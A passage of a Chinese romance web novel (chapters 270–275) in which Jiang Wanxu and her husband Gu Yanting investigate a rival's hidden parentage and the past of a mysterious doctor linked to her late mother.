“晚晚,你站那儿干嘛?”
苏洛敏被揉得舒服了点,终于有空搭理江晚絮了,“刚才也不帮我,就看着这呆子欺负我。”
“我看你挺享受的啊。”
江晚絮走过来,在安安旁边坐了下来,“又是送花又是揉伤口的,我要是再不识趣点,还怎么当总裁?”
苏洛敏脸一红,眼神有些躲闪。
“谁……谁享受了。我是看他可怜挺有诚意的。”
“是是是,苏大小姐心善。”
江晚絮笑着摇摇头,目光落在程宇身上,“程警官,这药油搓完了,是不是该说说正事了?”
程宇看了看苏洛敏的手臂,确定青紫的地方都揉过了,这才万般不舍地站了起来。
他抽了张纸巾擦了擦手。
“晚絮,其实我本来打算
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下午去找你的。”
程宇从公文包里拿出一份文件,递给江晚絮。
“昨天顾彦廷托我查一查梁霁川的海外公司,喏,这是报告。还有……我从单位内部网查到的关于‘K先生’的一些资料。”
提到K先生,江晚絮的神色也严肃了起来。
她接过文件,翻开看了看。
全是英文和意大利文,密密麻麻的数据和关系图。
“晚星科技在欧洲的事情应该没什么阻碍了。”
程宇说道,“那位谢医生……真的很厉害。我听顾彦廷说,今天那边主动派人来谈和解了。”
谢医生。
这个谢医生到底是什么人?
虽然他是帮了她没错,可这种被人暗中注视的感觉,并不怎么好受。
尤其是经历了江家人的算计之后,江晚絮对这种“从天而降的帮手”总是怀着几分警惕。
“程宇,你去查过这个谢医生吗?”江晚絮问。
程宇摇摇头,面露难色。
“查过。但是……什么都查不到。”
“什么都查不到?”
“是的。除了是国际知名的外科医生以外,其他的一片空白。或者说,他的档案级别太高,我们触碰不到。”
江晚絮的心沉了沉。
未知,才是最可怕的。
“不过你放心。”
程宇似乎看出了她的担忧,赶紧补充道,“你们不是说这是你姐姐留下的关系吗?那肯定不是敌人。而且这次确实帮了大忙。”
江晚絮点了点头,没再多问。
反正顾彦廷会处理好的。
她现在要做的,就是不再像个怨妇一样在家里自怨自艾,而是要重新站起来,守好晚星科技。
“对了,晚晚。”
苏洛敏一边小心翼翼地把袖子放下来,一边问道,“你今天怎么有空过来?不是说要在家里陪老太太吗?”
江晚絮笑了笑,把文件合上。
“老太太嫌我碍眼,把我赶出来了。”
“怎么可能!老太太最疼你了!”
“是真的。”
江晚絮叹了口气,语气里却带着几分轻松,“她说让我出来‘作’一点,别总是在家里装贤妻良母,把男人惯坏了。”
苏洛敏愣了一下,随即哈哈大笑。
“我就说嘛!这才是我认识的江晚絮!”
第270章 不是亲生儿子?
看着苏洛敏一脸娇羞,还有程宇那副恨不得把心掏出来的傻样,江晚絮忽然觉得自己有点多余。
“行了,我看这红花油也揉得差不多了。”
江晚絮放下手中的杯子,清了清嗓子,“程警官,既然公事聊完了,私事儿……你们自己看着办?”
苏洛敏一听这话,差点从沙发上蹦起来,结果劲儿大扯到了胳膊,又是一阵龇牙咧嘴。
“晚晚!你要走?把我一个人扔在这?”
程宇倒是反应快,立马一脸正气地说道:“洛敏现在行动不便,作为……咳,作为人民公仆,我有义务留下来照顾伤员。”
“照顾个屁!”苏洛敏翻了个白眼,“你会干嘛?你会做饭还是会洗衣?”
“我会做饭。”
程宇回答得斩钉截铁,“我在警队食堂帮过厨,拿手菜是红烧排骨和清蒸鲈鱼。”
苏洛敏噎住了。
江晚絮却笑了。
“那正好。”
江晚絮站了起来,“冰箱里有菜,程警官,敏敏的午饭就交给你了。”
“保证完成任务!”程宇很严肃。
江晚絮抱起还在地毯上傻乐的安安,“安安,走了,别打扰干妈谈恋爱。”
她抱着安安走到门口,潇洒地挥了挥手。
“记得把门反锁,我怕有人想逃跑。”
“江晚絮!你给我回来!”
身后传来苏洛敏的咆哮,但紧接着就被程宇温和的声音盖了过去:“你想吃甜一点还是咸一点?”
门关上了。
江晚絮走进电梯,长长地舒了口气。
真好。
她低头看着怀里的安安,小家伙正瞪着大眼睛看她。
“安安,”江晚絮轻声说,“妈妈带你去找太奶奶,然后……去找爸爸。”
出了公寓楼,江晚絮直奔顾家老宅。
看到江晚絮抱着孩子进来,顾老太太开心坏了。
“没去找彦廷?”
江晚絮把安安递给旁边的保姆,挽住老太太的胳膊,一脸的笑意。
“奶奶,我这不是想您了吗?”
“少来这一套。”老太太伸出手指点了点她的额头,“你那点小心思,都在脸上写着呢。说吧,想干嘛?”
“我想把安安先放您这儿。”
江晚絮收敛了笑意,“我要去趟公司。”
老太太愣了一下,随即就想明白了。
她看着眼前这个身形单薄却脊背挺直的孙媳妇,眼里闪过一丝赞赏。
以前的江晚絮,总是低着头,像个受气的小媳妇,生怕行差踏错一步。
现在的她,眼里有光,身上有刺。
这才像顾家的人。
“去吧。”
老太太挥了挥手,“孩子我给你看着,少一根头发你唯我是问。晚絮啊……”
老太太顿了顿,不放心地叮嘱起来,“记住奶奶昨晚跟你说的话。女人可以强,但不能硬撑。彦廷是你男人,是用不坏的,该用就得用,使劲用,别心疼。”
江晚絮鼻子一酸,重重地点了点头。
“我知道了,奶奶。”
“去吧去吧。”
老太太摆摆手,转头就对着安安换上了一副笑脸,“哎哟我的乖曾孙,快让太奶奶抱抱……”
到了公司楼下,前台的小姑娘看到她,有些意外。
“江……江总?您怎么来了?”
“怎么?我不能来?”江晚絮挑了挑眉。
“不不不!不是!”前台小姑娘结结巴巴,“是顾总……顾总正在您办公室呢!而且……而且脸色好像不太好……”
这狗男人,一大早把她扔在家里,自己跑到她公司来摆脸色?
“行,我知道了。”
江晚絮说着就走向了电梯。
等进了办公区,她就发现所有的员工都埋头对着电脑,平日里轻松惬意的工作环境,变得压抑了不少。
看到江晚絮出现,大家简直要哭了。
菩萨哎,祖宗,您在不出现,我们就快窒息了呀。
江晚絮冲大家安抚地笑了笑,径直走到办公室门口。
透过门缝,她看到顾彦廷正坐在她的椅子上。
他手里拿着一份文件,眉头紧锁。
她推门走了进去。
“怎么?顾总这是打算篡位吗?”
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听到声音,顾彦廷抬起头。
“你怎么来了?”
他放下手里的文件,想起身,却又像是想到了什么,重新靠回了椅背上,嘴角勾笑。
“不在家好好陪女儿,跑来查岗?”
“查岗?”
江晚絮把包往沙发上一扔,走到办公桌前。
“我是怕某人打着工作的旗号,在我办公室里藏狐狸精。”
顾彦廷低笑一声,伸手握住她的手腕,稍稍用力一拉。
江晚絮惊呼一声,整个人失去重心,直接跌坐进了他的怀里。
“狐狸精没有,悍妇倒是有一个。”
顾彦廷一手搂着她的腰,一手拿起桌上的文件递给她,“看看吧。”
江晚絮瞪了他一眼,接过文件。
文件是全英文的,封面上印着一个陌生的标志。
“这是什么?”
“谢医生发来的,关于K先生的资料。”顾彦廷的语气沉了下来,“以及……梁霁川的身世。”
江晚絮翻开文件的手顿了一下。
“什么意思?”
梁霁川的身世?环城科技的总裁能有什么身世?
“看了你就知道了。”
江晚絮快速浏览着文件上的内容。
看着看着,她的眼睛都瞪大了。
“这……这怎么可能?!”
她指着文件上的一行字,“梁霁川……不是梁老爷子的亲生儿子?他是……K先生的种?!”
三十年前,K先生还不是现在的欧洲**巨头,而是一个在M国贩卖私有武器的武器商人。
当时他的华裔老婆刚刚怀孕,他担心敌对武器公司会打家人的注意。
于是他秘密来到国内,找到了梁老先生并与他达成协议。
后来K先生的老婆就由梁家照顾,一直到生下孩子才又悄悄回了法国。
而那个孩子,则被梁老先生收养,对外宣称是他自己的亲生儿子。
而作为回报,K先生则打通关系,替梁家打开国际市场。
这件事情很隐秘,当时没什么人知道,如果不是谢医生说到这件事,顾彦廷也不会顺藤摸瓜查到。
第271章 他到底是什么人?
“怪不得……”
江晚絮喃喃自语,“怪不得梁霁川在梁家那么嚣张,连梁家的正牌夫人都对他忌惮三分。怪不得梁家在海外的生意做得风生水起,原来背后是有这么硬的靠山。”
“更有趣的是,”顾彦廷修长的手指在文件上点了点,“梁霁川自己可能都不知道这件事。他一直以为自己是梁老爷子的亲生儿子,也一直谨记着他的教诲——那就是如果K先生要他做什么,他必须照做。”
“那现在……”江晚絮抬起头,眼睛亮晶晶的,“只要我们把这个消息放出去……”
“不。”
顾彦廷摇了摇头,“这件事情一旦曝光,K先生为了保护儿子,可能会直接把梁霁川接走,甚至可能会对我们进行更疯狂的报复。”
他抬手捏了捏自己的眉心,继续说道。
“梁老爷子哪怕再想要利益,也不会愿意把整个梁家都拱手送给一个外人。这份资料,就是我们跟梁家谈判的最大筹码。”
“有了这个,晚星科技在欧洲的专利案,梁家就不得不停手。甚至……我们可以让梁家反过来咬K先生一口。”
“顾彦廷。”
江晚絮忽然喊了他一声。
“嗯?”
“你真坏。”她笑着,眼底却泛起了泪光。
“男人不坏,女人不爱。”
顾彦廷低头,在她唇上轻啄了一下,“怎么?心疼了?”
“我是心疼我自己。”
江晚絮靠在他怀里,声音有些闷,“以前我不懂反抗,总被他们欺负。如果早点遇到现在的你……”
如果早点遇到,她是不是就不用受那么多苦?
不用被抽骨髓,不用断腿,不用看着外婆在自己面前咽气却无能为力?
顾彦廷抱着她,在她耳边轻声说。
“以后不会了。”
他向她承诺,“谁再敢动你一根手指头,我就剁了他全家。梁家不行,K先生也不行。”
过了一会儿,江晚絮的情绪平复了一些。
她重新拿起文件,指着最后的落款。
“那个谢医生……到底是什么人?这份资料连你的情报网都查不到,他却能搞到手。而且……”
而且,他为什么要帮晚星科技?
仅仅是因为许甜的母亲吗?
顾彦廷沉吟了片刻。
“我也在查。”
他皱起眉头,“这个谢医生的背景很干净,干净得有些诡异。他三十岁以前的履历是一片空白,就像是凭空冒出来的一样。唯一的解释是……”
“什么?”
“他的档案被加密了。或者是,他改了名字。”
顾彦廷眯起眼睛,手指轻轻敲击着桌面,“我怀疑,他的家族,或者他本人,跟K先生或者梁家,有着极深的渊源。”
也许是仇人。
也许是旧识。
但不管怎么说,敌人的敌人,就是朋友。
就在这时,桌上的手机突然震动起来。
顾彦廷扫了一眼屏幕,是林舟发来的消息。
【梁家撤资了,沈曼被捕。】
“沈曼被抓了。”
顾彦廷把手机递到江晚絮面前。
“怎么抓的?”江晚絮问。
“周旭招了。”
顾彦廷冷笑一声,“再加上谢医生那边的威胁,梁家也不敢再插手这件事了。”
没有了梁霁川的庇护,沈曼就是孤军奋战。
虽说现在还没有查到沈曼的身份,但顾彦廷觉得,很快她就会招架不住,自己说出来。
K先生,梁霁川,还有一个神秘莫测的谢医生……
有点复杂。
“想不通?”
顾彦廷用指腹轻轻抚平她紧蹙的眉心,“想不通就别想,小心长皱纹。”
江晚絮没好气地拍开他的手。
“这都什么时候了,你还有心思开玩笑?”
她看了一眼墙上的挂钟。
算算时差,此时的大洋彼岸,应该是早上。
“我打个电话。”
江晚絮拿起顾彦廷的手机,打了个越洋电话。
电话响了两声就被接通了。
“喂?”
那头传来许甜清冷的声音。
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>和江晚絮这边的焦头烂额相比,许甜的生活仿佛永远都在云端,优雅、从容,带着一股子不食人间烟火的仙气。
“姐,是我。”
“晚絮?”许甜的声音柔和了几分,“这么早打电话,出什么事了?”
“没出事,就是想问你个人。”
“你还记得你回意大利前给我的那个名片吗?就是那个谢医生。”
“记得。”
江晚絮追问,“你知道他的全名吗?或者……他到底是什么人?为什么会帮我们?”
如果只是因为许甜的面子,这份人情未免也太大了。
“这个……”
许甜顿了顿,“其实我也不是很清楚。我只知道,他是妈妈的好友。”
“好友?”
“嗯。”许甜解释道,“我也是偶然听妈妈提过一次。”
“她说那位谢医生是个医术很高明的人,但是性格很古怪,常年漂泊在海外,行踪不定。当初涅墨西斯的事情,我跟妈妈提了一嘴,妈妈就说她会联系老朋友帮忙。后来我才知道好几家跨国大公司联合抵制涅墨西斯,就是她这个老朋友帮的忙。”
原来是这样。
江晚絮有些失望。
如果是许知意的朋友,那线索就又断了。
许知意是知名的艺术家,朋友遍布全球,认识几个厉害的人物也不奇怪。
“那你见过他吗?”江晚絮不死心。
“没有。”
许甜否认得很干脆,“他虽然是妈妈的好友,但从没来过家里。晚絮,你怎么突然对谢医生这么感兴趣?是不是……他给你帮倒忙了?”
“没有,他帮了大忙。”
江晚絮叹了口气,“就是因为帮了大忙,我才心里没底。姐,你也知道,天上不会掉馅饼。”
“既然帮了忙,那就受着。”
许甜的语气淡淡的,“名片是我给你的,那这就是我的人情,你不用觉得亏欠。你也别想太多,等我回家了,我帮你问问。”
“好,那就麻烦姐了。”
“跟我还客气什么。”
第272章 做客教授
“怎么样?”
顾彦廷见江晚絮终于挂了电话,赶紧凑了过来,“问出什么来了?”
“什么也没有。”
江晚絮有些烦躁,“姐姐也不清楚,只说是她养母的朋友。顾彦廷,你说这世上真有无缘无故的好意吗?”
当初她为了叶寒,捐骨髓,断腿,哪怕被抽成了干尸,叶寒也没正眼看过她一次。
现在突然冒出来一个大佬,不求回报地帮她?
她不信。
“有没有好意我不知道。”
顾彦廷把她从椅子上捞起来,抱进怀里,“但我知道,如果你再皱眉,我就要亲你了。”
“你……”
江晚絮刚想骂他流氓,办公室的门就被敲响了。
“进。”顾彦廷立马恢复了冰山脸。
林舟推门进来,脸色有些古怪。
“顾总,夫人。”
他看了一眼江晚絮,欲言又止。
“有话就说。”顾彦廷不耐烦地啧了一声,“吞吞吐吐的,像什么样子。”
“是……楼下有个人,说想见见夫人。”
林舟硬着头皮说道。
“见我?”
江晚絮从顾彦廷怀里探出头,“谁啊?”
林舟犹豫了一下,还是说了出来。
“是……江明泽。”
听到这个名字,江晚絮还是有些恍惚。
“他来干什么?”
顾彦廷的脸色瞬间沉了下来,“把他轰走。告诉他,顾家不欢迎姓江的。”
他对江明泽,始终是无法原谅的。
“等等。”
江晚絮却叫住了林舟。
她深吸了一口气,抬头看着顾彦廷,“让他上来吧。”
“晚晚!”顾彦廷不赞同地看着她,“见这种人做什么?”
“毕竟……”
江晚絮垂下眼帘,遮住了眼底复杂的情绪,“他还是我哥哥。”
她也说不清自己为什么会心软。
可能是那张被退回来的支票,也可能是当初对于沈曼的提醒。
总之,他是她的哥哥,这个永远无法改变。
“而且,”江晚絮抬起头,眼神清明,“他这个时候来找我,肯定不是为了叙旧。”
顾彦廷盯着她看了一会儿,最终还是妥协了。
“行。”
他冷哼一声,重新坐回椅子上。
“林舟,带他上来。顺便把保安叫上来几个,要是他敢废话一句,直接打断腿扔出去。”
林舟:“……”
得,这位爷的暴脾气又上来了。
几分钟后,江明泽出现在了办公室。
江晚絮差点没认出他来。
记忆中的江明泽,永远穿着一尘不染的白大褂,或者是笔挺的西装,头发梳得一丝不苟,戴着金丝眼镜,一副斯文败类的精英模样。
可现在,他留长了头发,穿着随意朴素。
虽然依旧俊朗,但……却少了傲慢和贵气。
“晚……江总。”
江明泽看到江晚絮,下意识地想喊晚晚,却还是在张嘴后又生生改了。
他局促地站在门口,神情有些小小的落寞。
“坐吧。”
江晚絮指了指对面的沙发。
“不用了,我说几句话就走。”
江明泽把手里的布袋子放在了桌子上。
“听说……你最近遇到点麻烦?”
顾彦廷冷笑一声,“怎么?江大少爷是来看笑话的?”
“顾彦廷!”
江明泽皱了皱眉,似乎有些不满他的语气,“我不是那个意思。我是……我是来送消息的。”
“消息?”
顾彦廷挑了挑眉,“你能有什么消息?难道你的旧书店里,还藏着什么商业机密?”
面对妹夫的嘲讽,江明泽并没有生气。
他只是从兜里掏出一个有些旧的手机,点开一张照片,递到江晚絮面前。
“我知道那个谢医生是谁。”
听到这句话,顾彦廷的脸上难得露出了吃惊的神色。
江晚絮则直接站了起来。
“你说什么?你怎么会知道?”
“因为……我一直在关注你的事。”
江明泽低下头,声音有些沙哑,“晚晚,不管你信不信,自从知道妈妈的事情以后,我……每天都很痛苦。”
他确实很痛苦。
他每天都在搜集关于江晚絮的新闻,哪怕只是一点点小道消息。
“你也知道,前段时间,沈曼找过我。”
江明泽深吸一口气,“她给了我一张支票,想让我帮她。”
“说实话,我当时拒绝她,不全是为了你是我妹妹。我即便如今落魄了,但我决不会出卖自己的尊严。况且……”
说到这里,他顿了顿,深吸了好几口气才继续说道,“我已经错过一次,不想再错第二次。我那天告诉你们沈曼的事情以后,回来才发现桌上的资料她没拿走,而上面提到了K先生。”
江晚絮没有说话,只静静听着。
似乎是看出了江晚絮的怀疑,江明泽自嘲地笑了笑。
“我
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知道你不信我。但我没必要骗你。沈曼被抓的新闻我看到了,我就知道,事情肯定闹大了。”
“我有个朋友,以前是做黑客的,我让他帮我查了一下。”
“本来是查不到什么的,K先生的防火墙很厉害。但是……”
江明泽看了一眼顾彦廷,“但是我们还有许甜。”
“许甜?”江晚絮一愣。
“对。”
江明泽点点头,“许甜是你的双胞胎姐姐,也就是我的……妹妹。那个谢医生既然帮了许甜,那必然跟许家有关系。顺着这层关系,再结合K先生的背景,我那个朋友查到了一点蛛丝马迹。”
不得不说,江明泽虽然人不怎么样,但脑子还是好使的。
“所以呢?”
江晚絮有些急切,“谢医生到底是谁?”
江明泽没有直接回答,而是反问道:“晚晚,你还记得……妈妈是哪个大学毕业的吗?”
“妈妈?”
江晚絮愣了一下。
她知道江明泽说的不是柳芸,而是生下她们姐妹俩就去世的亲生母亲——方颖。
“记得。”江晚絮点点头,“是A大医学院。”
方颖当年是A大医学院的高材生,如果不生她们,或许早就成了名医。
“那你知不知道,当年A大医学院,有个非常有名的客座教授,曾经去做过一场演讲?”
江明泽的眼神变得有些悠远,仿佛陷入了回忆。
“我在国外读博的时候,恰好那个教授也受邀来我们就读的医学院做交流。那时候他还很年轻,也就三十岁出头。”
“我那时候心高气傲,谁都不服,就服他。”
“演讲结束后,我仗着自己是优秀学生代表,硬是挤到后台去见他。我以为像他这种大佬,肯定不会理我这种毛头小子。”
“可是……他见了我。”
江明泽记得,当时的谢医生,看上去儒雅极了。
“不仅见了我,还请我喝了咖啡。当时我很奇怪,问他为什么会见我这样一个学生。他看着我,说了一句话。”
“他说:‘大概是因为,我们有缘。’”
江晚絮听得云里雾里。
“这跟谢医生有什么关系?那个教授是谁?”
江明泽抬起头,看着江晚絮。
“那个教授,英文名叫Dr.Xie。中文名……谢承允。”
“而且,我后来特意去查过,他在A大做客座教授的那一年,正好是妈妈……怀我的那一年。”
第273章 查清楚再说
江晚絮觉得自己脑子有点不够用了。
外婆曾经跟她说过,妈妈在A大读博的第三年突然跟**嵩结婚,并怀上了江明泽。
可这个,跟谢承允又有什么关系?
顾彦廷有些意外地挑了挑眉。
这剧情,是不是有点不太对?
“你的意思是……”
江晚絮的声音有些发涩,“那个谢医生,认识妈妈?”
“不仅是认识。”
江明泽深吸了一口气,把自己查到最后一件事说了出来。
“我那个黑客朋友查到,谢承允后来在A大做研究,妈妈……是他的助手。”
“而且,有传言说,妈妈在嫁给那个人之前,和谢承允曾是恋人。只是后来不知道为什么,才嫁给了那个男人。”
那个男人,自然指的是他们的渣爹**嵩。
“不可能!”
江晚絮下意识地反驳,“如果妈妈跟他是恋人,那为什么会嫁给爸爸?而且……而且我从来没听外婆提起过这个人。”
外婆曾跟她说过很多关于妈妈的事情,但这个谢承允……她从没提过。
“外婆不提,可能是因为……那是一段禁忌。”
江明泽苦笑道,“当年那个年代,师生一起是大忌。如果……我是说如果,谢承允是因为某种原因不得不离开,而妈妈为了给孩子一个名分,才匆忙嫁给了爸爸呢?”
“你胡说!”
江晚絮一把抓起桌上的文件,狠狠地砸向江明泽。
“你在编故事!你在侮辱妈妈!”
“我没有编!”
江明泽查到这件事的时候,内心是崩溃的。
他一直都很骄傲,从没怀疑过自己的身世。
可现在……他有些不确定了。
虽然他不应该怀疑自己的妈妈,可……他也不知道为什么,得知谢承允和妈妈曾是恋人后,他就控制不住地会往这方面去想。
“晚晚,我比谁都希望我是胡说。”
江明泽的声音开始抖了起来。
“你知道这对我意味着什么吗?”
他抬起头,眼眶通红。
“如果……如果那段时间他们真的在一起……”
“你想过没有,我……我究竟是谁……?”
江明泽站在那里,整个人看上去都有些落寞。
江晚絮突然就觉得他很可怜。
她刚才只顾着愤怒他侮辱母亲,却忽略了这个残忍的可能。
是啊。
如果是真的,那江明泽算什么?
“大哥……”
江晚絮动了动嘴唇,声音有些飘忽,“这件事还没有查清楚,你……”
江明泽摇了摇头,苦笑一声,“谢谢你还愿意叫我大哥。”
自从江家破产后,他已经很少听到江晚絮喊他哥哥了。
真的……很久很久了吧。
他和江晚絮之间差了7岁。
他记得,自己上中学的时候,江晚絮读小学。
她每次放学,都会在自己的学校门口等很久,直到他的身影出现,她就会扬起小脸脆生生地喊一声:“大哥!”
可他是怎么做的?
他把她攒钱买的糖葫芦丢在地上,还踩了两脚。
他高高在上,他自命清高。
他在江晚絮被抽血抽到休克时,冷漠地说:“那是你应该做的。”
他在江晚絮断腿求救时,嫌恶地关上了门。
可现在,命运狠狠给了他一耳光。
“这可能就是报应吧。”江明泽惨笑一声,“我查到这些的时候,我想过**。可是我不甘心。”
他看向江晚絮,眼神里带着一丝哀求。
“晚晚,你是无辜的,许甜也是无辜的。如果妈妈真的有问题,那这个问题……只会在我身上。”
顾彦廷听到这句话,微微动了动眉梢。
江明泽这样的人,他见过太多太多了。
清高、自负、把面子看得比命还重。
能让这种人当着曾经最瞧不起的妹妹面前承认自己可能是个“野种”,这比杀了他还难受。
“行了。”
顾彦廷淡淡开口,将失神的江晚絮揽入怀中,“江大少爷,现在事情还没有查明白,妄下结论是不是太早了点?”
江晚絮靠在他怀里,听到他这句话,反而心安了下来。
是啊。
事情还没查清楚,就这样说,为时尚早。
“你走吧。”
江晚絮别过头,不再去看江明泽。
“这件事,我会去查。”
江明泽张了张嘴,似乎还想说什么。
但他看着江晚絮冷漠的侧脸,还最终还是什
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么都没说。
他默默地转身,走到门口时,又停了下来。
“晚晚……如果查到了真相,不管结果如何,求你……告诉我。”
门轻轻关上了。
江明泽一走,办公室里压抑的气氛瞬间就三区了不少。
江晚絮盯着桌子上的照片。
那照片有些模糊,只能隐约看到一个穿着白大褂的年轻男人,侧脸儒雅,眼神温和。
这就是谢承允吗?
“在想什么?”
顾彦廷侧头看她。
江晚絮抬起头,眼眶微红。
“顾彦廷,你说……”
她声音哽咽了一下,“妈妈她……会是那种人吗?”
从小到大,外婆口中的妈妈,是温柔坚韧的,才华横溢却又红颜薄命。
她告诉自己,妈妈是因为爱她才生下她。
“我以前被叶寒关在地下室的时候,我就想,只要我没做错事,只要我清清白白,总有一天会好起来的。”
江晚絮吸了吸鼻子,犹豫了一会儿,哽咽着开口,“可如果妈妈都是错的呢?”
顾彦廷心口一抽。
他伸手捧起她的脸,一点点擦去她的泪水。
“看着我。”
他说,“江晚絮,你给我听清楚。”
“江明泽那种人就是太自私了,他之所以会怀疑妈妈,是因为他不愿背负一个私生子的名头。你听听就算了,往心里去就是跟自己过不去。”
“你外婆带了你那么多年,她是什么样的人,你不清楚吗?”
“能生出你和许甜这样优秀的女儿,方颖女士绝不可能是那种不知廉耻的人。”
“可是那个事情太巧了……”江晚絮还在钻牛角尖。
顾彦廷冷哼一声,“江明泽那是没脑子,才会往最坏的方面想。”
“你想想,**嵩那个老东西是什么德行?如果方颖真的给他戴了绿帽子,还让他养了三十年的便宜儿子,以他的精明和算计,会一点都没察觉?”
一语惊醒梦中人。
江晚絮愣了愣。
对啊。
**嵩虽然渣,虽然冷血,但他太精明了,而且有很严重的大男子主义。
如果江明泽不是他的种,他怎么可能把江明泽当成继承人培养这么多年?
除非……
第274章 意外事故
“除非这中间还有什么我们不知道的隐情。”
顾彦廷见江晚絮终于听进去了,松了口气,低头在她额头上轻轻一吻。
“别把什么屎盆子都往自己头上扣,你受的苦已经够多了。”
江晚絮靠在他身上,久久不语。
他说得对,她现在不是一个人了。
她有顾彦廷,有安安。
为什么还要去在乎过去发生了什么。
想到这,江晚絮懊恼地锤了锤自己的脑袋。
顾彦廷看到了,却并没有说什么。
这个傻丫头,就是太容易被外人左右了。
听风就是雨的。
“好。”
江晚絮深吸一口气,“我不想猜了,我要去查。”
“也只有查清楚,才能还妈妈一个清白。”
顾彦廷看着她恢复了斗志,终于笑了起来。
“这才是我老婆。”
他拿起桌上的车钥匙,在手里转了个圈。
“走吧。”
“去哪?”江晚絮一愣。
“你不是要查吗?”
顾彦廷挑了挑眉,“A大那一年的档案,虽然久远,但也不是查不到。”
“我记得,我家老爷子跟A大的老校长,可是多年的棋友。”
“既然江明泽那个废物查不到,那就让你老公带你去走后门。”
江晚絮:“……”
虽然这话听着有点不正经,但……真特么有安全感。
车子平稳地行驶在通往郊区的林荫大道上。
顾彦廷把空调温度调得有点低,还在江晚絮的腿上盖了一条薄毯。
“是不是有点凉?”
趁着红灯,他侧过头看向她。
“不凉。”
江晚絮摇摇头。
其实是有点凉的,但她舍不得拿下来。
这种被人捧在手心里怕化了的感觉,太让人留恋了。
曾几何时,也是这样的初夏。
她那天生病了,又赶上下暴雨。
她给叶寒打电话希望他来接她。
可叶寒只是很不耐烦地骂她矫情。
她一个人站在叶氏集团门口好半天都不知道自己该去哪儿。
“又在想以前的事?”
顾彦廷察觉到了她的情绪有点低落。
他伸出手,扣住她的手指,“晚晚,看着前面。”
“后视镜里的东西虽然还在,但车是往前开的。”
他顿了顿,握着她的手举到唇边,亲了一下。
“以后老子拿命疼你。”
江晚絮的眼泪“唰”地一下就下来了。
“顾彦廷,你是不是想让我哭死,然后好继承我的专利?”
她吸着鼻子,故作凶狠地瞪他。
顾彦廷低笑一声,带着一股子痞气。
“那点破专利,老子还看不上。我要继承的,是你这个人。”
“还得带个拖油瓶安安,啧,亏了。”
嘴上说着亏了,握着她的手却丝毫没有松开的意思。
江晚絮破涕为笑。
她转过头,看着窗外飞逝的风景,心里的阴霾彻底散去。
没错,车是往前开的。
不管过去有多烂,只要身边坐着对的人,前面的路,就是亮的,就足够。
半个小时后,车子驶入了一片幽静的别墅区。
这里是A市著名的老干部疗养区,住的都是些退下来的大人物。
门口的警卫看到顾彦廷的车牌,连问都没问,直接敬礼放行。
很快,车子在一栋有些年头的中式别墅前停下。
院子里种满了菊花,开得正艳,给这萧瑟的秋天增添了几分生机。
“到了。”
顾彦廷解开安全带,先一步下车,绕到副驾驶,替江晚絮打开车门。
他还极其绅士地用手挡住了车顶,生怕她磕着碰着。
江晚絮刚下车,就看到一个穿着中山装、头发半百的老人正坐在院子里看书。
正是A大的老校长——邹祁。
“邹爷爷。”
顾彦廷牵着江晚絮的手走了过去。
“哎哟,是彦廷啊。”
邹老校长放下书,笑眯眯地起身,目光落在两人紧握的手上,顿时变得意味深长。
“这就是你那个藏着掖着不肯带出来的媳妇儿?”
顾彦廷勾了勾唇,将江晚絮往身边带了带,一脸的骄傲。
“是,她叫江晚絮。”
“晚晚,叫邹爷爷。”
江晚絮乖巧地鞠了一躬:“邹爷爷好。”
“好好好。”
邹老校长打量着江晚絮,眼神慈祥中透着几分睿智。
“是个好孩子,眼神清正,比你小子有福气。”
“那是。”
顾彦廷一点都不谦虚,“我顾彦廷看上的女人,能差吗?”
邹老校长笑着摇摇头,“行了,别贫了。无事不登三宝殿,说吧,带媳妇儿来找我这把老骨头,有什么事?”
顾彦廷也没拐弯抹角。
“邹爷爷,我们想问一个人。”
“谁?”
“二十多年前,在A大医学院做客座教授的……谢承允。”
听到这个名字,邹老校长的眉头立刻皱了起来。
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>江晚絮的心,一下子提到了嗓子眼。
看来。
江明泽说得没错。
这个谢承允,绝对不是一个简单的过客。
“谢承允……”
老人念叨着这个名字,听不出语气。
既有惋惜,又有几分说不清道不明的忌惮。
“你们怎么会突然问起他?”
邹老校长重新戴上眼镜,目光变得有些锐利起来。
“这可不是什么好听的旧事。”
江晚絮心头一跳,手心里全是冷汗。
不是好听的旧事?
难道江明泽说的是真的?难道真的有什么不可告人的丑闻?
顾彦廷感觉到了她的紧张,不动声色地捏了捏她的手心。
“邹爷爷,这对晚晚很重要。”
顾彦廷沉声道,“晚晚的母亲,是方颖。”
“方颖?”
邹老校长的眼睛亮了一下,随即又迅速黯淡下去。
“原来你是方颖的女儿……”
他叹了口气,“像,确实像。尤其是这股子倔劲儿。”
“既然你是方颖的孩子,那有些事,你也确实该知道。”
邹老校长背着手,转身往屋里走。
“进来吧。”
邹老校长带着他们径直走进了书房。
老人走到最角落的一个柜子前,抽出了一个泛黄的档案袋。
“这是当年的交流记录,本来早就该销毁的,但我……私心留了一份。”
邹老校长把档案袋放在桌子上,却没有立刻打开。
“当年,谢承允来A大,是带着国外的先进技术来的。他是个天才,真正的医学天才。”
“但他也是个疯子。”
江晚絮呼吸一窒:“疯子?”
“他在研究一种药。”
邹老校长看了一眼江晚絮,眼神有些凝重,“一种可以改变人类基因缺陷,但也可能带来毁灭性副作用的药。”
“那时候,方颖是他最得意的助手。”
“他们两个,天天泡在实验室里,日夜不分。那时候学校里确实有些风言风语,说他们……”
说到这里,邹老校长顿了顿。
“说他们是为了科学献身的狂人。”
邹老校长摇了摇头,否定了江晚絮心中那个龌龊的猜想。
“我不相信他们之间有什么苟且。方颖那孩子,我了解,眼高于顶,一心扑在学术上。她对谢承允,更多的是崇拜。”
“但是……”
话锋一转。
“就在谢承允离开的前一个月,实验室发生了一次事故。”
第275章 这都是命
江晚絮坐在椅子上,双手攥着那个档案袋,神情有些飘忽。
她想不明白。
不明白当年她们既然走到一起,为什么又突然分开,为什么母亲会突然嫁给**嵩。
而那场事故……和这些又有什么关系?
“邹爷爷。”
江晚絮抬起头,恳求道,“求您告诉我真相……我想知道,我妈妈……她到底经历了什么。”
邹老校长叹了口气。
“孩子,有些事,糊涂点好。”老人看着她,满眼的怜惜,“你妈妈是个骄傲的人,她如果活着,绝不希望你看到这些。”
“可我不想就这么稀里糊涂的。”
江晚絮苦笑一声,视线落在窗外,“我被人抽过血,断过腿,被亲生父亲骂作扫把星,被家人背叛。”
“愿意真心爱我的家人,一个在我出生时就没了命,一个刚刚离我而去。还有一个,虽然与我血脉相连,却隔着近三十年的距离。”
江晚絮艰难地咽了咽口水,将视线转回。
“我这半辈子,活得就像个笑话。如果连我妈妈是个什么样的人我都弄不清楚,那我这辈子,就真的只是个笑话了。”
顾彦廷的心脏抽痛了一下。
